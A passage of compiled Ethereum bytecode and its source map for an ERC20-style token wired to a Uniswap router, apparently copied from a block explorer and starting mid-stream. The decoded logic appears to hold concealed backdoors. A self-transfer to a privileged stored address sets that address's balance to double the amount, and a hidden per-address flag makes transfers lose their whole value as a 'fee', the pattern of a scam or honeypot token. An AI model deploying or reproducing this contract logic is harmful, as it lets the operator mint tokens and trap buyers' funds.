0565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e8982611e27565b611e938185611e32565b9350611ea3818560208601611e43565b611eac81611e6d565b840191505092915050565b60006020820190508181036000830152611ed18184611e7e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f0982611ede565b9050919050565b611f1981611efe565b8114611f2457600080fd5b50565b600081359050611f3681611f10565b92915050565b6000819050919050565b611f4f81611f3c565b8114611f5a57600080fd5b50565b600081359050611f6c81611f46565b92915050565b60008060408385031215611f8957611f88611ed9565b5b6000611f9785828601611f27565b9250506020611fa885828601611f5d565b9150509250929050565b60008115159050919050565b611fc781611fb2565b82525050565b6000602082019050611fe26000830184611fbe565b92915050565b6000819050919050565b600061200d61200861200384611ede565b611fe8565b611ede565b9050919050565b600061201f82611ff2565b9050919050565b600061203182612014565b9050919050565b61204181612026565b82525050565b600060208201905061205c6000830184612038565b92915050565b61206b81611f3c565b82525050565b60006020820190506120866000830184612062565b92915050565b6000806000606084860312156120a5576120a4611ed9565b5b60006120b386828701611f27565b93505060206120c486828701611f27565b92505060406120d586828701611f5d565b9150509250925092565b6120e881611efe565b82525050565b600060208201905061210360008301846120df565b92915050565b60006020828403121561211f5761211e611ed9565b5b600061212d84828501611f27565b91505092915050565b600060ff82169050919050565b61214c81612136565b82525050565b60006020820190506121676000830184612143565b92915050565b600061217882611ede565b9050919050565b6121888161216d565b82525050565b60006020820190506121a3600083018461217f565b92915050565b600080604083850312156121c0576121bf611ed9565b5b60006121ce85828601611f27565b92505060206121df85828601611f27565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223057607f821691505b602082108103612243576122426121e9565b5b50919050565b7f3f00000000000000000000000000000000000000000000000000000000000000600082015250565b600061227f600183611e32565b915061228a82612249565b602082019050919050565b600060208201905081810360008301526122ae81612272565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122eb602083611e32565b91506122f6826122b5565b602082019050919050565b6000602082019050818103600083015261231a816122de565b9050919050565b60008151905061233081611f10565b92915050565b60006020828403121561234c5761234b611ed9565b5b600061235a84828501612321565b91505092915050565b600060408201905061237860008301856120df565b61238560208301846120df565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123e8602483611e32565b91506123f38261238c565b604082019050919050565b60006020820190508181036000830152612417816123db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061247a602283611e32565b91506124858261241e565b604082019050919050565b600060208201905081810360008301526124a98161246d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061250c602583611e32565b9150612517826124b0565b604082019050919050565b6000602082019050818103600083015261253b816124ff565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061259e602383611e32565b91506125a982612542565b604082019050919050565b600060208201905081810360008301526125cd81612591565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061260e82611f3c565b915061261983611f3c565b9250828203905081811115612631576126306125d4565b5b92915050565b600061264282611f3c565b915061264d83611f3c565b925082820261265b81611f3c565b91508282048414831517612672576126716125d4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126b382611f3c565b91506126be83611f3c565b9250826126ce576126cd612679565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612735602183611e32565b9150612740826126d9565b604082019050919050565b6000602082019050818103600083015261276481612728565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006127ee6127e96127e4846127c9565b611fe8565b611f3c565b9050919050565b6127fe816127d3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61283981611efe565b82525050565b600061284b8383612830565b60208301905092915050565b6000602082019050919050565b600061286f82612804565b612879818561280f565b935061288483612820565b8060005b838110156128b557815161289c888261283f565b97506128a783612857565b925050600181019050612888565b5085935050505092915050565b600060a0820190506128d76000830188612062565b6128e460208301876127f5565b81810360408301526128f68186612864565b905061290560608301856120df565b6129126080830184612062565b9695505050505050565b600061292782611f3c565b915061293283611f3c565b925082820190508082111561294a576129496125d4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612986601b83611e32565b915061299182612950565b602082019050919050565b600060208201905081810360008301526129b581612979565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ed30100cdb600cb83163a1d407457d38b5b10fbbfa734054905e2ea100b9191664736f6c63430008120033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063c816841b1161006f578063c816841b14610429578063d28881e314610454578063dd62ed3e1461047f578063e0b838e9146104bc578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806370a08231146103305780638da5cb5b1461036d57806395d89b4114610398578063a9059cbb146103c3578063b60998d61461040057610135565b806327c8f835116100f257806327c8f835146102355780632d3235a014610260578063313ce5671461029d5780633345611e146102c85780634a74bb021461030557610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611eb7565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611f72565b6105cb565b6040516101999190611fcd565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612047565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612071565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a919061208c565b610619565b60405161022c9190611fcd565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b60405161025791906120ee565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612109565b610717565b6040516102949190612071565b60405180910390f35b3480156102a957600080fd5b506102b261072f565b6040516102bf9190612152565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612109565b610746565b6040516102fc9190611fcd565b60405180910390f35b34801561031157600080fd5b5061031a610766565b6040516103279190611fcd565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612109565b610779565b6040516103649190612071565b60405180910390f35b34801561037957600080fd5b506103826107c2565b60405161038f91906120ee565b60405180910390f35b3480156103a457600080fd5b506103ad6107eb565b6040516103ba9190611eb7565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190611f72565b61087d565b6040516103f79190611fcd565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190611f72565b61089c565b005b34801561043557600080fd5b5061043e610995565b60405161044b91906120ee565b60405180910390f35b34801561046057600080fd5b506104696109bb565b604051610476919061218e565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906121a9565b6109e1565b6040516104b39190612071565b60405180910390f35b3480156104c857600080fd5b506104d1610a68565b005b3480156104df57600080fd5b506104fa60048036038101906104f59190612109565b610e13565b005b34801561050857600080fd5b50610523600480360381019061051e9190612109565b610f65565b6040516105309190611fcd565b60405180910390f35b60606001805461054890612218565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612218565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610f85565b8484610f8d565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611156565b506106e884610633610f85565b6106e3856040518060600160405280602881526020016129bd60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610f85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b9092919063ffffffff16565b610f8d565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60086020528060005260406000206000915090505481565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107fa90612218565b80601f016020809104026020016040519081016040528092919081815260200182805461082690612218565b80156108735780601f1061084857610100808354040283529160200191610873565b820191906000526020600020905b81548152906001019060200180831161085657829003601f168201915b5050505050905090565b600061089161088a610f85565b8484611156565b506001905092915050565b6000339050600082905060008114806108b55750600a81145b156108ff5780600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690612295565b60405180910390fd5b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a70610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af490612301565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b859190612336565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c109190612336565b6040518363ffffffff1660e01b8152600401610c2d929190612363565b6020604051808303816000875af1158015610c4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c709190612336565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b610e1b610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612301565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906123fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106290612490565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111499190612071565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90612522565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c906125b4565b60405180910390fd5b600b60149054906101000a900460ff161561125c576112558484846116af565b9050611644565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e45750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6112ef5760006112f2565b60015b156113715761130b60028361188290919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156113d85750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113f55760006113e830610779565b90506113f3816118fc565b505b61144782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061152d5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115405761153b8584611bae565b611542565b825b905061159681600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116369190612071565b60405180910390a360019150505b9392505050565b6000838311158290611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a9190611eb7565b60405180910390fd5b50600083856116a29190612603565b9050809150509392505050565b600061173a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117cf82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186f9190612071565b60405180910390a3600190509392505050565b600080830361189457600090506118f6565b600082846118a29190612637565b90508284826118b191906126a8565b146118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e89061274b565b60405180910390fd5b809150505b92915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119345761193361276b565b5b6040519080825280602002602001820160405280156119625781602001602082028036833780820191505090505b509050308160008151811061197a5761197961279a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a459190612336565b81600181518110611a5957611a5861279a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b199594939291906128c2565b600060405180830381600087803b158015611b3357600080fd5b505af1925050508015611b44575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b6000611ba683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061164b565b905092915050565b600080611bd86064611bca60008661188290919063ffffffff16565b611d7a90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c3b578083611c2d919061291c565b81611c38919061291c565b90505b6000811115611d005780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c93919061291c565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cf79190612071565b60405180910390a35b611d138184611b6490919063ffffffff16565b91505092915050565b6000808284611d2b919061291c565b905083811015611d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d679061299c565b60405180910390fd5b8091505092915050565b6000611dbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc4565b905092915050565b60008083118290611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e029190611eb7565b60405180910390fd5b5060008385611e1a91906126a8565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e8982611e27565b611e938185611e32565b9350611ea3818560208601611e43565b611eac81611e6d565b840191505092915050565b60006020820190508181036000830152611ed18184611e7e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f0982611ede565b9050919050565b611f1981611efe565b8114611f2457600080fd5b50565b600081359050611f3681611f10565b92915050565b6000819050919050565b611f4f81611f3c565b8114611f5a57600080fd5b50565b600081359050611f6c81611f46565b92915050565b60008060408385031215611f8957611f88611ed9565b5b6000611f9785828601611f27565b9250506020611fa885828601611f5d565b9150509250929050565b60008115159050919050565b611fc781611fb2565b82525050565b6000602082019050611fe26000830184611fbe565b92915050565b6000819050919050565b600061200d61200861200384611ede565b611fe8565b611ede565b9050919050565b600061201f82611ff2565b9050919050565b600061203182612014565b9050919050565b61204181612026565b82525050565b600060208201905061205c6000830184612038565b92915050565b61206b81611f3c565b82525050565b60006020820190506120866000830184612062565b92915050565b6000806000606084860312156120a5576120a4611ed9565b5b60006120b386828701611f27565b93505060206120c486828701611f27565b92505060406120d586828701611f5d565b9150509250925092565b6120e881611efe565b82525050565b600060208201905061210360008301846120df565b92915050565b60006020828403121561211f5761211e611ed9565b5b600061212d84828501611f27565b91505092915050565b600060ff82169050919050565b61214c81612136565b82525050565b60006020820190506121676000830184612143565b92915050565b600061217882611ede565b9050919050565b6121888161216d565b82525050565b60006020820190506121a3600083018461217f565b92915050565b600080604083850312156121c0576121bf611ed9565b5b60006121ce85828601611f27565b92505060206121df85828601611f27565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223057607f821691505b602082108103612243576122426121e9565b5b50919050565b7f3f00000000000000000000000000000000000000000000000000000000000000600082015250565b600061227f600183611e32565b915061228a82612249565b602082019050919050565b600060208201905081810360008301526122ae81612272565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122eb602083611e32565b91506122f6826122b5565b602082019050919050565b6000602082019050818103600083015261231a816122de565b9050919050565b60008151905061233081611f10565b92915050565b60006020828403121561234c5761234b611ed9565b5b600061235a84828501612321565b91505092915050565b600060408201905061237860008301856120df565b61238560208301846120df565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123e8602483611e32565b91506123f38261238c565b604082019050919050565b60006020820190508181036000830152612417816123db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061247a602283611e32565b91506124858261241e565b604082019050919050565b600060208201905081810360008301526124a98161246d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061250c602583611e32565b9150612517826124b0565b604082019050919050565b6000602082019050818103600083015261253b816124ff565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061259e602383611e32565b91506125a982612542565b604082019050919050565b600060208201905081810360008301526125cd81612591565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061260e82611f3c565b915061261983611f3c565b9250828203905081811115612631576126306125d4565b5b92915050565b600061264282611f3c565b915061264d83611f3c565b925082820261265b81611f3c565b91508282048414831517612672576126716125d4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126b382611f3c565b91506126be83611f3c565b9250826126ce576126cd612679565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612735602183611e32565b9150612740826126d9565b604082019050919050565b6000602082019050818103600083015261276481612728565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006127ee6127e96127e4846127c9565b611fe8565b611f3c565b9050919050565b6127fe816127d3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61283981611efe565b82525050565b600061284b8383612830565b60208301905092915050565b6000602082019050919050565b600061286f82612804565b612879818561280f565b935061288483612820565b8060005b838110156128b557815161289c888261283f565b97506128a783612857565b925050600181019050612888565b5085935050505092915050565b600060a0820190506128d76000830188612062565b6128e460208301876127f5565b81810360408301526128f68186612864565b905061290560608301856120df565b6129126080830184612062565b9695505050505050565b600061292782611f3c565b915061293283611f3c565b925082820190508082111561294a576129496125d4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612986601b83611e32565b915061299182612950565b602082019050919050565b600060208201905081810360008301526129b581612979565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ed30100cdb600cb83163a1d407457d38b5b10fbbfa734054905e2ea100b9191664736f6c63430008120033
Deployed Bytecode Sourcemap
3872:6066:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5217:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5880:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4558:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5494:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6431:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4165:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4440:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5403:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4331:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4673:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5602:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3005:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5308:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6752:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9251:270;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4606:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4085:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5729:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6927:469;;;;;;;;;;;;;:::i;:::-;;3219:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4388:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5217:83;5254:13;5287:5;5280:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5217:83;:::o;5880:161::-;5955:4;5972:39;5981:12;:10;:12::i;:::-;5995:7;6004:6;5972:8;:39::i;:::-;6029:4;6022:11;;5880:161;;;;:::o;4558:41::-;;;;;;;;;;;;;:::o;5494:100::-;5547:7;5574:12;;5567:19;;5494:100;:::o;6431:313::-;6529:4;6546:36;6556:6;6564:9;6575:6;6546:9;:36::i;:::-;;6593:121;6602:6;6610:12;:10;:12::i;:::-;6624:89;6662:6;6624:89;;;;;;;;;;;;;;;;;:11;:19;6636:6;6624:19;;;;;;;;;;;;;;;:33;6644:12;:10;:12::i;:::-;6624:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6593:8;:121::i;:::-;6732:4;6725:11;;6431:313;;;;;:::o;4165:81::-;;;:::o;4440:41::-;;;;;;;;;;;;;;;;;:::o;5403:83::-;5444:5;5469:9;;;;;;;;;;;5462:16;;5403:83;:::o;4331:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4673:40::-;;;;;;;;;;;;;:::o;5602:119::-;5668:7;5695:9;:18;5705:7;5695:18;;;;;;;;;;;;;;;;5688:25;;5602:119;;;:::o;3005:79::-;3043:7;3070:6;;;;;;;;;;;3063:13;;3005:79;:::o;5308:87::-;5347:13;5380:7;5373:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5308:87;:::o;6752:167::-;6830:4;6847:42;6857:12;:10;:12::i;:::-;6871:9;6882:6;6847:9;:42::i;:::-;;6907:4;6900:11;;6752:167;;;;:::o;9251:270::-;9316:17;9336:10;9316:30;;9357:12;9372:4;9357:19;;9400:3;9392:4;:11;:26;;;;9415:3;9407:4;:11;9392:26;9389:64;;;9449:4;9433:5;:13;9439:6;9433:13;;;;;;;;;;;;;;;:20;;;;9389:64;9481:5;;;;;;;;;;;9468:18;;:9;:18;;;9464:49;;9501:12;;;;;;;;;;:::i;:::-;;;;;;;;9464:49;9305:216;;9251:270;;:::o;4606:26::-;;;;;;;;;;;;;:::o;4085:28::-;;;;;;;;;;;;;:::o;5729:143::-;5810:7;5837:11;:18;5849:5;5837:18;;;;;;;;;;;;;;;:27;5856:7;5837:27;;;;;;;;;;;;;;;;5830:34;;5729:143;;;;:::o;6927:469::-;3142:12;:10;:12::i;:::-;3132:22;;:6;;;;;;;;;;:22;;;3124:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6975:35:::1;7032:42;6975:100;;7118:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7100:70;;;7179:4;7186:16;:21;;;:23;;;;;;;;;;;;;